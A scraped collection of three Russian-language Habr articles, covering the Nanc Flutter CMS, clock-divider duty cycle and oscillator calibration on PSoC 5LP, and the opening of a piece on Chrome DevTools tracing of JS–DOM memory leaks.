И приложение Nanc, представляющее из себя предварительно сконфигурированную CMS с дополнительно внедренным слоем логики синхронизации клиентского приложения с CMS.
> В конце большинства логических блоков текста вы обнаружите youtube-видео с примером использования / демонстрацией того или иного аспекта Nanc.
>
>
Table of contents
-----------------
1. Intro
2. About CMS
1. Types of models
1. Collection
2. Solo
2. Editor
1. Общее описание
2. Code-first
3. Interface-first
4. Hybrid mode
3. Fields
1. Bool
2. Color
3. Date
4. Dynamic
5. Enum
6. Header
7. Icon
8. Id
9. MultiSelector
10. Number
11. Selector
12. String
13. Structure
14. Screen
3. Dynamic Flutter apps
1. Interactive documentation
2. Extensibility
3. Simplicity
4. The Power
5. Convenience
6. Performance
4. Nanc demo apps
1. Общее описание
2. Client
3. Admin
4. Connection manager
5. What's next / Afterwords
About CMS
---------
Итак. Nanc - это backend-agnostic CMS, которая не тянет за собой свой собственный бэкенд. Как это работает? Nanc предлагает реализовать интерфейсы сетевых сервисов, в которых прямо сейчас 6 методов, но к моменту релиза будет около 10. Много это или мало? Например, для реализации API для демо-приложения понадобилось написать 170 строк кода. Эти методы отвечают за всю работу Nanc с вашим существующим бэкендом. Реализация должна быть написана на языке Dart (язык разработки и для Flutter). В будущем Nanc будет поставляться с уже готовыми вариантами реализации этих интерфейсов под определенные варианты бэкендов - Firebase, Supabase, локальный / сетевой SQLite и Generic-реализация REST и GraphQL (может что-то еще?) и вам не придется думать об этой реализации вообще или придется, но совсем чуть-чуть.
### Types of models
Модель в Nanc - это структурное описание какой-либо сущности, которой вы хотите управлять с помощью Nanc. Модель содержит название сущности, различные визуальные параметры и описание полей.
#### Collection
Коллекция - это некая сущность, у которой может существовать множество вариаций. Список пользователей, книг, отзывов - хорошие примеры моделей типа "Коллекция" в Nanc.
Если вы знакомы с реляционными базами данных, то примером Коллекции в Nanc будет практически любая таблица в вашей базе.
#### Solo
Соло (модель) - это сущность, существующая в единственном экземпляре. Например - Список Feature Toggles, или конфигурация чего-либо или..."Главный экран мобильного приложения". В целом Solo-модели призваны повысить удобство работы, являясь всего-лишь проекцией вашей базы данных. И Solo-моделью легко может быть и какая-нибудь таблица вашей БД, с одной-единственной записью. Но на текущий момент реализация этого класса моделей обязывает, чтобы запись этой модели *(строка в БД)* имела `id`, аналогичный `id` самой модели.
```
final Model landingPage = Model(
name: 'Landing page',
/// ? id in format [toSnakeCase(name)] will be set automatically, if omitted
// id: 'landing_page',
isCollection: false,
icon: IconPackNames.flu_document_page_break_regular,
fields: [
...
```
### Editor
#### Общее описание
Nanc может быть сконфигурирован несколькими путями: кодом, с помощью интерфейса самого Nanc и комбинацией из этих вариантов.
#### Code-first config
Говоря про "конфигурацию", в первую очередь, подразумевается описание структуры ваших моделей. Возьмем один простой пример, модель Feature - сущности, описывающей особенности какого-либо продукта. Эта модель содержит следующие поля:
* id
* title
* image
* description
А реализация в виде code-first config будет иметь следующий вид:
```
import 'package:fields/fields.dart';
import 'package:icons/icons.dart';
import 'package:model/model.dart';
final Model feature = Model(
name: 'Feature',
icon: IconPackNames.flu_ribbon_star_filled,
fields: [
[
IdField(width: 200),
StringField(name: 'Title', maxLines: 1, isRequired: true, width: 400),
],
[
IconField(name: 'Image', isRequired: true),
],
[
StringField(name: 'Description', isRequired: true, showInList: true),
],
],
);
```
Описав такую модель и внедрив ее в Nanc CMS вам становится доступным весь CRUD этой модели.
#### Interface-first config
Точно такую же модель Feature (назовем ее Feature Variant) мы могли бы создать и через интерфейс Nanc. При этом (учитывая, что все подготовительные работы для использования Nanc сделаны) - при создании модели в Nanc вы сразу же создадите и таблицу в базе данных, и точно также весь CRUD вам будет сразу доступен.
Также, можно пойти по более безопасному пути (выбор зависит от вас), не создавая в базе данных ничего при создании модели через интерфейс Nanc. А самостоятельно создать таблицу в вашей БД, а затем, под нее создать модель в Nanc. К слову, именно так вам придется делать, если вы описываете конфигурацию кодом - из нее в вашей БД новые таблицы не появятся.
#### Hybrid config
Этот вариант становится вам доступен, когда вы, имея Code-first config, решили изменить его посредством интерфейса Nanc. В этом случае все дальнейшие изменения этой модели будут возможны только через интерфейс, а изменения, внесенные и оригинальную code-модель будут проигнорированы. Единственный способ вернуться к Code-first - это "сбросить" модель - в этом случае все изменения в структуре модели, внесенные через интерфейс, будут помножены на ноль *(жаль, что только они)* и снова начнет использоваться актуальный Code-first config. Никакие данные при таком сбросе не затрагиваются, это касается только структуры модели.
### Fields
Теперь рассмотрим, какие типы полей Nanc поддерживает на данный момент.
#### Boolean
BoolField позволяет управлять типом данных `bool` и настраивать значение по умолчанию.
#### Color
ColorField предоставляет вам удобный color-picker, позволяющий выбирать цвет сразу же в Nanc. А также дает возможность вносить изменения вручную, посредством редактирования AHEX-кода. AHEX - это классический HEX-Color (например - `#10A0CF`), но с дополнительным значением прозрачности, указываемым вначале. В данном случае этот цвет будет аналогичен цвету `#FF10A0CF` (`FF` - 100% непрозрачность - цвет полностью непрозрачен). А так бы выглядел этот же цвет с 50% непрозрачности: `#7F10A0CF`.
#### Date
DateField отвечает за управление датой и временем (оба значения сразу, отдельные для даты и времени будут реализованы позднее). DateField содержит два boolean-параметра, которые позволяют модифицировать поведение данного поля, сделав из него timestamp времени создания сущности и timestamp времени изменения.
#### Dynamic
DynamicField, с одной стороны - предельно простое поле, а с другой - включающее всю полноту сложности других полей. Изначально вы можете настроить у данного поля только внешний вид (то, как это поле будет выглядеть в интерфейсе Nanc - цвет и сопровождающая иконка). После этого, данное поле может содержать любые значения, доступные в Nanc, включая себя. Что это означает? По сути, DynamicField - это типизированный JSON с возможностью позиционирования полей по порядку внутри себя.
#### Enum
EnumField - поле для выбора какого-либо значения из нескольких значений. Правило, которого стоит придерживаться, выбирая EnumField - если у вас есть конечный список значений для выбора, не хранящийся в отдельной таблице базы данных - выбирайте Enum. В противном случае - SelectorField, подробнее о котором будет ниже. *TODO: В настоящий момент это поле может быть сконфигурировано только через CodeConfig, конфигурация через интерфейс не проработана.*
#### Header
HeaderField - не совсем поле, а визуальный улучшайзер вашей модели в Nanc. Вы можете использовать данное **не**поле для задания общего заголовка для группы связанных полей или для разграничения полей модели друг от друга, используя HeaderField как разделитель.
#### Icon
IconField предоставляет вам возможность выбирать иконку (класс `IconData`) из предопределенного набора иконок. На данный момент их около 25.000 и в этот набор входят следующие иконки:
* [Material Design Icons](https://pub.dev/packages/material_design_icons_flutter)
* [Fluent UI System Icons](https://pub.dev/packages/fluentui_system_icons)
* [Remix Icons](https://pub.dev/packages/remixicon)
При необходимости в базовый набор поставки могут быть добавлены и другие иконки, а в недалеком будущем будет предоставлена возможность использования и ваших собственных иконок.
> Можно задаться вопросом "Иконки есть, цвета есть, а шрифты?". Если вы так и сделали, то ответ вы сможете найти в документации к виджету **Text**. Краткий ответ - вам доступны все шрифты из [Google Fonts](https://fonts.google.com/).
>
>
#### Id
IdField - такое простое, но такое важное поле. В каждой модели, управляемой Nanc, должно присутствовать хотя бы одно поле типа Id. На данный момент поддерживается только строковый тип ID (он может быть любой уникальной, в рамках одной сущности, строкой). Планируется добавить поддержку и числового типа, что, впрочем, возможно реализовать и сейчас, просто типизируя данные поля числового типа в API-реализации.
#### Multi-selector
MultiSelectorField - довольно непростое поле, отвечающее за реализацию реляционного отношения "многие ко многим" или "многие к одному". Есть три режима использования данного поля. Пройдемся более детально по каждому из них. *TODO: В настоящий момент это поле может быть сконфигурировано только через CodeConfig, конфигурация через интерфейс не проработана.*
### Array of ids
Данный режим дает вам возможность хранить `id` связанных сущностей в родительсой сущности напрямую. Например - мы имеем две модели - Читатель и Книга. В данном режиме, книги, которые взял читатель к себе, будут учтены в виде хранящихся в поле модели Читателя идентификаторов. Например вот так:
```
/// user table
{
id: 'UUID',
name: 'String',
books: [
'UUID',
'UUID'
// ...
]
}
```
> Выше представлена примерная структура таблицы, выраженная с помощью JSON5-синтаксиса.
>
>
Минусом данного режима является ограниченная целостность данных. Если вы не реализуете автоматическое удаление устаревших (удаленных) идентификаторов книг из поля `books` Читателя - вы получите ошибки.
### Third table
Классический режим обеспечения отношений из мира SQL. При использовании данного режима вы храните связи сущностей в отдельной таблице, и обеспечиваете 100% целостность данных. Следующая структура может являться примером данного режима:
```
[
/// user table
{
id: 'UUID',
name: 'String'
},
/// book table
{
id: 'UUID',
title: 'String'
},
/// user_books_relations table
{
user_id: 'UUID',
book_id: 'UUID'
}
]
```
> На 7й секунде видно небольшое подергивание и если присмотреться, то можно заметить, что изменился url страницы - это я так попытался скрыть баг: в режиме third table данные сохраняются в родительской странице только если она уже была сохранена 🤷🏼♂️
>
>
### Array of objects
В целом аналогичен Array of ids, только хранятся в родительской записи не идентификаторы, а целиком весь объект (в виде плоской структуры, без возможных связанных сущностей вложенной записи). Обладает тем же минусом, что и Array of ids, но несет и дополнительный - увеличенное использование хранилища. Однако область применения данного режима (по крайней мере на данный момент) - есть, и она очень важна. Но об этом мы поговорим несколько позднее.
> В видео я немного забегаю вперед, показывая ScreenField, к этому мы еще вернемся
>
>
> В целом есть идея, сделать "не каноничные" режимы виртуальными - чтобы они так или иначе работали через Third table, а необходимые данные загружались при редактировании страницы (если это нужно).
>
>
#### Number
NumberField хранит числа - вот так просто и все.
#### Selector
SelectorField схож с MultiSelectorField (как вы могли догадаться по их названиям), но немного проще - связь тут "один к одному" или "один ко многим", а режимов два. *TODO: В настоящий момент это поле может быть сконфигурировано только через CodeConfig, конфигурация через интерфейс не проработана.*
### Id
Обычный для SQL вид обеспечения связи, когда в поле родительской записи хранится идентификатор связанной. Возьмем за основу примера Читателя. Кто это? В первую очередь это человек, а что есть у человека? Правильно! Город рождения (который наша Библиотека, почему-то, тоже захотела знать).
```
/// user table
{
id: 'UUID',
name: 'String',
birth_place_id: 'UUID'
}
```
### Object
Очень схож с Array of objects из MultiSelectorField, но хранить мы будем одно единственное связанное значение в поле родительской записи. Минусы те же, плюсы, так же, будут описаны совсем чуть-чуть ниже.
#### String
StringField хранит строки. Это поле имеет одну персональную настройку, отвечающую за удобство редактирования в Nanc - параметр, ограничивающий максимальную высоту редактируемого поля. Если ваш текст будет большим - имеет смысл не указывать его вовсе, тогда поле будет подстраиваться под высоту текста. Если ограниченно большим - вы можете задать явную высоту поля (в строках) и тогда она всегда будет такой. И, наконец, для коротких строк вы можете задать значение в одну строку, и тогда данное поле не будет расширяться, сколько бы вы впоследствии в него не написали.
#### Structure
StructureField позволяет вам хранить в записях модели массив типизированных структур. Вы указываете тип хранимых данных и легко и просто можете ими управлять. Доступные типы для полей структуры - абсолютно все. Поэтому вы легко можете создать "Dynamic Structure Field Repeat". *TODO: В рамках демо добавлять в StructureField можно только "плоские" поля.*
#### Screen
ScreenField - поле, позволяющее вам написать целое приложение на Flutter, прямо в Nanc! Со ScreenField вы можете описать интерфейс отдельного...screen (экрана), обновлять его как захотите, и делать это в любой момент времени за несколько минут - без утомительных и нервозных ожиданий ревью от Apple и Google.
Давайте немного подробнее разберем этот тип поля (а на самом деле - целое отдельное функциональное ответвление Nanc).
Dynamic Flutter apps
--------------------
С помощью ScreenField вы действительно можете создать интерфейс практически любой сложности прямо в браузере (и вашей IDE), а затем, не делая публикаций в сторах - обновить соответствующий экран в вашем приложении. Если вам необходимо проверять гипотизы быстро - это отличная возможность. Эта функциональность отлично подойдет для относительно простых (с точки зрения логики) страниц вашего приложения, которые, однако, должны меняться довольно часто. В будущем этот функционал будет расширен до состояния, когда вы сможете создать действительно все, что захотите, без каких-либо ограничений.
Теперь пройдемся во всем аспектам создания динамических экранов с помощью Nanc.
### Interactive documentation
Во Flutter много виджетов. Очень много. Что такое виджет? Это кирпичик функциональности, из которых вы собираете ваше приложение. Он может быть как только визуальным, так и логическим - с определенным поведением внутри. Nanc предоставляет обширный перечень реализованных виджетов, которые вы можете использовать для создания UI. Но чем больше возможностей - тем сложнее о них узнать... Поэтому редактор экрана в Nanc дает вам доступ к интерактивной документации, где вы можете узнать, какие виджеты реализованы на данный момент, какие у них есть параметры и настраиваемые свойства, а также, прямо в документации, посмотреть, как они влияют на внешний вид создаваемого интерфейса.
### Simplicity
Nanc позволяет создавать интерфейс в реальном времени, но главное - он позволяет делать это очень просто и быстро (на интерфейс демо-приложения ушло немногим больше 2х часов). Но назревает вопрос - а как создавать сам UI? В Nanc нет какого-то экзотического синтаксиса для описания UI, ровно как и "слишком" простых решений, вроде длинного, для таких задач, JSON, которые заставят вас возненавидеть процесс создания интерфейсов в Nanc.
Результатом поиска оптимального решения является простой и понятный синтаксис XML. Все стандартные виджеты Flutter имеют ровно те же названия, но в виде XML. Например, виджет `SizedBox` в Nanc будет `...`, и это правило применяется ко всем виджетам без исключения. Если у виджета есть какое-то сложное свойство, то оно будет иметь такое-же (или более простое) название в виде XML, с префиксом `prop`. Например - у виджета `Container` есть комплексное свойство `boxDecoration`, у которого есть свои внутренние свойства. Так вот, это свойство в Nanc будет иметь следующий вид: `...`. Это правило применяется ко всем сложным свойствам. И последний аспект - аргументы, являющиеся относительно простыми - это параметры XML-тегов. Посмотрим на примере того же `SizedBox`:
```
...
```
При этом, для некоторых виджетов реализованы и дополнительные аргументы, упрощающие написание кода, и у `SizedBox` это аргумент `size`, задающий одновременно `width` и `height`.
Все, что написано тут - есть в интерактивной документации, поэтому, если вы что-то забыли или хотите узнать - обращайтесь к ней и найдете там ответы на все вопросы.
### Extensibility
Реализовать поддержку нового виджета - дело от 10 минут до нескольких часов. На данный момент имплементированы практически все основные виджеты, из которых можно создать сложный интерфейс с логикой. Со временем в Nanc будут реализованы все доступные во Flutter виджеты и вы сможете сделать действительно все. Но это не все. Вы можете легко и просто реализовать свои собственные виджеты и использовать их в Nanc с помощью одной-двух строчек XML-кода. Например - в стандартной библиотеке Flutter нет виджета, позволяющего отобразить легко отобразить Carousel Slider с картинками. Вам придется писать реализацию самостоятельно или использовать какое-либо open source решение, например [такое](https://pub.dev/packages/carousel_slider). И, реализовав то, что вам нужно - вы можете очень легко интегрировать ваш виджет в Nanc и использовать его.
### The Power
Nanc предоставляет не просто возможности по преобразованию XML-кода в интерфейс на Flutter. Nanc дает возможности шаблонизации и написания логики. Условная отрисовка элементов, отрисовка в цикле, обработка тапов - это уже есть в текущей `0.0.1` версии Nanc.
Пока все, что связано с логикой, довольно просто - реализована поддержка взаимодействия посредством нажатий на элементы и обработка соответствующих событий в вашем `.dart` коде, написанном заранее, но со временем эта часть Nanc будет серьезно расширяться, позволяя вам писать логику на Dart прямо в браузере и работать она будет и в вашем приложении.
Подход к обработке пользовательских нажатий заключается в следующем - вы можете определить перечень "действий", которые может совершить пользователь в вашем приложении. К примеру - открытие внутреннего экрана в приложении, переход по внешней ссылке, отображение `SnackBar`, показ модального окна и много чего еще, и заранее создать обработчик класса подобных действий. А затем использовать это действие любым образом в Nanc. Для более подробной информации об обработке событий посмотрите документацию к виджету `InkWell` в Nanc.
### Convenience
В Nanc есть встроенный XML-редактор, однако, он не очень удобен. В нем (пока) нет поиска, он не очень быстрый при большом объеме кода и в нем нет автодополнения. Как с этим жить? Например - позволить пользователю использовать его любимую IDE и в реальном времени наблюдать изменения в Nanc. Сейчас покажу как.
> Вот бы можно было так и на хабре - а то я уже задо\*лбался исправлять и добавлять текст во время вычитки и тут и в своем редакторе статьи
>
>
А это Web (с которым вам и предстоит играть):
> В будущем будет добавлена поддержка автодополнений, возможно в отдаленном...я пытался в XML Schema, потратил несколько дней, но пока не смог 🤷🏼♂️
>
>
### Performance
Отдельно хотелось бы упомянуть про производительность (отрисовки интерфейса из XML на мобильных девайсах). Если кратко - она аналогична производительности самого Flutter, без какого-либо оверхеда. На текущий момент "экран" представляет из себя лениво отрисовывающийся список виджетов (SliverList), создающихся асинхронно. Немного позднее данная реализация будет доработана, чтобы виджеты начали отрисовываться также асинхронно, но по очереди, таким образом время, требуемое на показ контента будет равно времени, требуемому для отрисовки самого первого виджета, описанного в XML.
Nanc demo apps
--------------
### Общее описание
Для демонстрации возможностей был создан публичный набор демо-приложений, которые показывают, чего можно достичь с помощью Nanc прямо сейчас. Это клиентское приложение на Android и Web (последнее временно играет и роль приложения для iOS). А также CMS-приложение Nanc. Подробнее о них ниже.
### Links
* [Web Client](https://client.nanc.io)
* [Android Client](https://play.google.com/store/apps/details?id=com.indieloper.nanc_client)
* [Nanc CMS](https://admin.nanc.io)
### Client
Client - это клиентское демо-приложение, использующее одну единственную библиотеку из nanc-экосистемы. Эта библиотека позволяет преобразовать XML в интерфейс приложения на Flutter. В этом приложении всего один экран, созданный полностью в Nanc и его можно обновлять как угодно и в любой момент времени без сторов. Справа снизу есть кнопка с иконкой подключения - она отвечает за подключение к [демо-CMS](https://admin.nanc.io). Подробнее о том, что это за "подключение" будет ниже.
### Admin
Admin - это Nanc-CMS демо-приложение, с дополнительно внедренным слоем логики, обеспечивающим возможность синхронизации с клиентами (подробнее о подключении ниже). В демо-приложении Nanc-CMS в качестве "бэкенда" выступает сам браузер пользователя и его localStorage. Все, что вы добавите или измените - будет храниться только в вашем браузере. В Nanc-CMS вы можете изменять / создавать / удалять данные, относящиеся к существующим моделям (вы их увидите), а также - вы можете создавать посредством интерфейса свои собственные модели и делать с ними все тоже самое.
В качестве SQL-репрезентации моделей данных, используемых при создании данного демо, можно ориентироваться на следующий скриншот:
### Connection manager / "Подключение"
Этот раздел относится исключительно к логике "демо" в клиентском и CMS-приложениях. И реализован он был, чтобы просимулировать опыт взаимодействия с Nanc и процесс обновления клиента. Но обо всем по порядку.
В реальном production-проекте вы могли бы использовать Nanc следующим образом - развернуть где-нибудь статическое приложение Nanc CMS, с реализованными API-сервисами. Оно бы общалось с вашим бэкендом, а вы использовали Nanc на свой вкус и цвет. Ваше приложение содержит одну библиотеку из nanc-экосистемы, позволяющую отрисовать интерфейс. Вы сделали обновление - приложение загрузило новый код из вашего бэкенда, обновилось - все счастливы и довольны.
Для показа этой модели в действии реализовано все тоже самое, но в упрощенном виде:
Nanc CMS существует как статика, лежащая на github pages и вы можете ей пользоваться так же, как "в реальной жизни", но в качестве бэкенда выступает ваш браузер. То есть интерфейсы API были реализованы таким образом, что "ходят в сеть" они - в браузерный localStorage. С этой частью завершили, но еще есть мобильное приложение, которое должно как-то показать вам процесс "обновления". Что же, тут то и нужно "подключение". Если кратко - вы можете установить прямое соединение между любым клиентским демо-приложением Nanc и любым CMS демо-приложением Nanc. Для этого вам нужно в CMS нажать кнопку справа снизу с иконкой QR-кода. В появившемся модальном окне вы увидите QR-код. Дальше у вас есть два стула - вы можете отсканировать этот код с помощью мобильного (или браузерного) клиентского приложения, нажав в нем похожую кнопку справа снизу, тогда подключение установится автоматически. Либо вы можете нажать по QR-коду, и необходимые, для соединения, данные будут скопированы в буфер обмена. Затем эти данные вы должны будете вставить в поле для ввода в мобильном приложении, и подключиться нажатием кнопки. Когда соединение будет установлено - вы поймете сами. После этого вы сможете делать все, что хотите, с существующей страницей **Landing Page**, и видеть изменения в реальном времени (после сохранения) - в мобильном приложении.
Но вы не ограничены только **Landing Page**. Вы можете прямо в браузере создавать любые новые модели, наполнять их контентом, и если в ваших моделях будет поле для описания интерфейса (тип Screen) - то при сохранении таких сущностей, вы также увидите результат в приложении - экран из новой модели заменит существующий экран приложения. Единственный момент - так как клиентское приложение не знает, какого типа то или иное поле вашей свеже-созданной записи, то в нем заранее прописаны возможные идентификаторы, которые, ожидается, и будут ScreenField. Поэтому, если вы захотите создать экран полностью с нуля и отобразить его в приложении, то используйте в качестве значения поля IdField что-то из следующего списка:
* screen
* ui
* page
* interface
* markup
* view
Если вы что-то сломаете - просто сбросьте данные сайта [admin.nanc.io](http://admin.nanc.io) (Chrome: F12 -> Application -> Application -> Storage -> Clear Site Data), ну и при повторном открытии клиентского приложения оно всегда будет загружать актуальный код экрана, созданный для этого демо. *(Код из вашего браузера будет загружен, только если вы подключитесь)*
И, напоследок, небольшой пример с созданием новой страницы новой модели, содержащей ScreenField, и отрисовкой его в приложении:
What's next?
------------
Публичное демо готово. Вводная статья написана. Дальнейшие планы касательно Nanc - завершить функциональную целостность интерфейсного подхода к созданию моделей, сделав возможным конфигурирование всех полей - Enum, Selector и MultiSelector. Пофиксить известные баги, вроде изменения положения элементов в StructureField. Затем "блаблабла", а потом "то то то". Бэклога хватит на ближайшие пол года, как минимум, но дальнейшая модель расширения функционала будет строиться на потребностях клиентов, поэтому если у вас есть идеи / критика / нашли баг *(а их тут навалом)* / что-то еще - заполните [форму](https://forms.gle/waAR9GVPB4cESTL99), ссылка на которую доступна в клиентском демо-приложении.
Если вас заинтересовали возможности Nanc, и вы заинтересованы в сотрудничестве - тоже заполните [форму](https://forms.gle/waAR9GVPB4cESTL99) и мы обязательно пообщаемся. | https://habr.com/ru/post/714076/ | null | ru | null |
# Особенности формирования тактовых частот в PSoC 5LP
При разработке аппаратной части комплекса REDD, описанного в [этой статье](https://habr.com/ru/post/440156/), мы рассматривали различные варианты реализации. PSoC рассматривался, так как для него имеется готовый относительно стандартизованный, пусть и де-факто, вариант переходника USB-I2C. К сожалению, по причинам, описанным в [статье про DMA](https://habr.com/ru/post/437112/), сделать что-то сложное для данного конкретного комплекса на PSoC не удалось, а простое — экономически нецелесообразно. Оказалось, дешевле взять микросхемы от FTDI. Но пока велись эксперименты с PSOC, вскрылись интересные подробности, которые имеет смысл опубликовать.
Основной опыт
-------------
Сделаем простейший проект. Настроим тактирование его блоков следующим образом:
У PLL выбрана минимально возможная частота (меньше не даст среда разработки). Шина тактируется ею же. Это сделано умышленно. Результаты работы будут контролироваться осциллографом, а в комментариях к [этой статье](https://habr.com/ru/post/337974/) я показал, что лучше не приближаться к верхней границе полосы пропускания, особенно, если осциллограф китайский: фронты будут так завалены, что в измерениях можно допустить ошибку. Так что лучше взять частоту пониже. Минимум — это 24 МГц, его и берём.
Схема проекта тривиальна. Два источника тактовых импульсов, подключённые к ножкам микросхемы.
Документ AN60631 говорит, что частоты источников Clock\_1 и Clock\_2 система будет делать из базовой, пропуская через делители:
На ножку Pin\_1 в нашем проекте всегда будем подавать сигнал с частотой 24 МГц, а на Pin\_2 попробуем подать сигнал меньшей частоты. Сначала всё идёт предсказуемо. При желаемой частоте от 23 до 18 МГц, получаем достижимую, равной 24.
Снизив желаемую частоту до 17 МГц, получаем достижимую 12. Всё логично. Делитель — не PLL. Константа деления должна быть целой. Просто убедились, что никаких сюрпризов нет.
Устанавливаем желаемую частоту, равной 12 МГц. Собираем проект (код при этом писать никакой не требуется) и смотрим на результат.
Жёлтый луч — базовая частота, голубой — делённая. Снова никаких подвохов. Так ради чего задумана статья? Мы как раз подбираемся к самому интересному. Какой следующий коэффициент деления? Тройка. Следующая достижимая частота равна 24/3=8 МГц. Меняем настройки проекта, «прошиваем», смотрим…
Прошу любить и жаловать, на голубом луче виден тактовый сигнал со скважностью, отличной от 50%. Ждёт ли простой программист, что источник тактового сигнала выдаст ему такое? Вряд ли. А вот выдал.
Деление на 4 предсказуемо красивое. Проверяем деление на 5 (желаемая частота 4.8 МГц):
Тенденция ясна. В роли делителя явно выступает ШИМ. Чем выше нечётный коэффициент деления, тем ближе скважность будет к 50%, но в целом, всё-таки будут некоторые несоответствия положительного и отрицательного полупериода. Если схема тактируется только положительными фронтами, то это не страшно. Но если разработчик сделал какой-то свой компонент, в котором используются как положительные, так и отрицательные фронты тактового сигнала, возможны нюансы, причём иногда — плавающие сбои.
В целом, про это дело более-менее рассказывается в TRM на рисунке 14-12, так что опять же, никто ничего не скрывает:
Но что-то мне подсказывает, что мало кто станет изучать этот рисунок до того, как поймает соответствующую картинку на осциллографе. А поймает он её только после длительных попыток найти, почему сбоит система. Поэтому считаю нужным предупредить о данной особенности компонента Clock у PSoC.
Дополнительные сведения о тактовых частотах PSoC
------------------------------------------------
### Зависимость частоты внутреннего генератора от температуры
Получилось как-то совсем коротко. Давайте попутно исследуем ещё один вопрос, связанный с тактовой частотой. Давным-давно я делал один проект на AtMega8. Для удешевления системы, тактирование было взято от внутреннего генератора. Проект был отлажен на стенде, но после этого выяснилось, что когда плата попадает в целевую среду, она корректно работает только после включения питания. Через пару минут всё нагревается, частота уплывает и принимаемые последовательные данные начинают декодироваться неверно. А если подогнать времянки под этот режим — всё врёт до прогрева. В том проекте всё решилось благополучно: данные были в манчестерском коде, а он самосинхронизирующийся. Я просто сделал синхронизацию не от старта посылки, а от каждого бита. Но на будущее усвоил, что при использовании внутренних генераторов в контроллерах, надо проверять их термостабильность. Проверим её у PSoC, благо на имеющейся макетке нет кварцевого резонатора, поэтому система тактируется от внутреннего генератора, расположенного в контроллере. Сам контроллер у меня при моих задачах пока не греется, но его могут прогревать компоненты, находящиеся на той же плате.
На частоте 24 МГц фронты довольно округлые, можно ошибиться. Возьмём для опытов уже полученную частоту f/5.
Кстати, это не совсем 4.8, а скорее 4.78 МГц. Не беда! Генератор можно откалибровать! В AN60631 сказано, что в целом за это отвечает 11-битный регистр, размещённый в портах IMO\_TR0 и IMO\_TR1. Как автоматически вычислить оптимальное его значение, пользуясь внешним опорным генератором, рассказано в документе CE219322. К тому документу даже прилагается пример. Но на имеющейся у меня макетной плате нет отдельного генератора, поэтому для одного экземпляра мне было проще подобрать значение опытным путём, ориентируясь на показания осциллографа. Добавив в функцию main() такой код (шаг приращения равен 0x20, так как младшие 5 бит не используются):
```
volatile uint16_t* ptr = (uint16_t*) CYREG_IMO_TR0;
ptr[0] += 20 * 0x20;
```
я добился вполне приличного результата:
Подержим плату на балконе, где сегодня около нуля. Частота чуточку уплыла, но на имеющемся осциллографе это даже сложно измерить. Скорее видно на глазок (по точке пересечения левого курсора с жёлтым лучом).
Теперь нагреем плату на батарее. Тоже по прибору отличий не видно.
Так что в PSoC генератор вполне себе термостабилен. Бешеных уходов частоты, при которой работающая система начинает давать большие ошибки, от него ожидать не стоит.
### Зависимость частоты внутреннего генератора от питающего напряжения
Я уже написал эту статью и отдал её на черновое прочтение, как всплыл ещё один интересный фактор, связанный с тактовыми частотами. На одном проекте измерение частоты шло с ошибкой около 2%, что существенно для той задачи. Причём логика, реализованная в UDB, была реализована верно. Ошибок в логике было не найти. Контролируя уже всё осциллографом, я заметил, что опорная частота врёт как раз на те 2%.
Но почему? Всё же было замечательно! Тут-то я и вспомнил о черновике статьи. Зависимость бывает не только от температуры, но и от питающего напряжения. А я в определённый момент снизил его с 5 до 3.3 вольт. Откалибровал частоту генератора, ошибка ушла.
Но после этого возникло желание найти зависимости в документации. Оказывается, они все приведены в документе DataSheet на конкретную микросхему. Вот зависимость ошибки генератора от температуры
Мой график синий. В целом, всё соответствует практическим результатам. А вот зависимость от напряжения:
Здесь требуемый график почему-то красный. На два процента он явно не тянет, но линейный рост погрешности налицо.
Заключение
----------
При использовании стандартного компонента Clock в PSoC Creator, следует быть готовым к тому, что скважность импульсов там будет не 50%. Это важно, если проект использует не только фронты, но и срезы сигнала. Для борьбы с этим эффектом следует делить базовую частоту на чётные коэффициенты.
Для чувствительных к погрешности частоты применений внутренний тактовый генератор (IMO) рекомендуется использовать только со стабилизированным напряжением питания, при этом для каждого конкретного изделия после сборки рекомендуется произвести калибровку частоты. Если предполагается батарейное нестабилизированное питание, лучше использовать внешний кварцевый резонатор. | https://habr.com/ru/post/443554/ | null | ru | null |
# Трассировка JS ↔ DOM, или Туда и обратно
Поиск утечек памяти в Chrome 66 стал гораздо удобней. DevTools теперь могут проводить трассировку, делать снапшоты DOM-объектов из C++, отображать все доступные DOM-объекты из JavaScript вместе со ссылками на них. Появление этих возможностей стало следствием нового механизма трассировки C++ в сборщике мусора V8.
Напомню, что стабильный Chrome сейчас (20.03.2018) имеет версию 65, поэтому чтобы подивиться на фичу, придётся установить [одну из нестабильных сборок](https://www.chromium.org/getting-involved/dev-channel) (например, Beta имеет версию 66, а Dev и Canary — 67).
Основы
======
Утечки памяти в сборке мусора возникают, когда ненужный уже объект не собирается из-за неумышленно добавленных ссылок из других объектов. Утечки памяти в веб-страницах зачастую возникают при взаимодействии JS-объектов и DOM-элементов.
Давайте посмотрим на игрушечный пример, показывающий утечку, возникающую, когда программист забывает убрать обработчик события. Обработчик ссылается на объекты, и их больше уже нельзя удалить. В частности, протекает окно iframe.
```
// Main window:
const iframe = document.createElement('iframe');
iframe.src = 'iframe.html';
document.body.appendChild(iframe);
iframe.addEventListener('load', function() {
const local_variable = iframe.contentWindow;
function leakingListener() {
// Do something with `local_variable`.
if (local_variable) {}
}
document.body.addEventListener('my-debug-event', leakingListener);
document.body.removeChild(iframe);
// BUG: forgot to unregister `leakingListener`.
});
```
Что ещё хуже, утекший iframe поддерживает живыми все свои JS-объекты.
```
// iframe.html:
class Leak {};
window.global_variable = new Leak();
```
Чтобы найти причину утечки, важно осознать понятие подвешенного пути (retaining path). Подвешенный путь — это цепочка объектов, которые мешают сборке утекающего объекта. Цепочка начинается от какого-то корневого объекта, вроде глобального объекта основного окна. Цепь заканчивается утекающим объектом. Все промежуточные объекты имеют прямую ссылку на следующий объект в цепи. Например, подвешенный путь объекта `Leak` и этом ифрейме выглядит следующим образом:
Заметьте, что подвешенный путь проходит сквозь границу между JavaScript и DOM (они отмечены, соответственно, зелёным и красным цветом) целых два раза. JS-объекты живут в куче V8, а объекты DOM являются C++-объектами в Chrome.
DevTools heap snapshot
======================
Теперь мы можем изучить подвешенный путь любого выбранного объекта с помощью снапшота кучи. При этом будут сохранены в точности все объекты, находящиеся в куче V8. Совсем недавно там хранились только очень примерные данные о C++ DOM объектах. Например, Chrome 65 показывает неполный подвешенный путь для объекта `Leak` из предыдущего игрушечного примера:
Только первая строка достаточно точна: объект `Leak` действительно хранится в `global_variable` в окне ифрейма. Все остальные строки пытаются аппроксимировать настоящий путь, и это делает отладку утечки памяти весьма сложной.
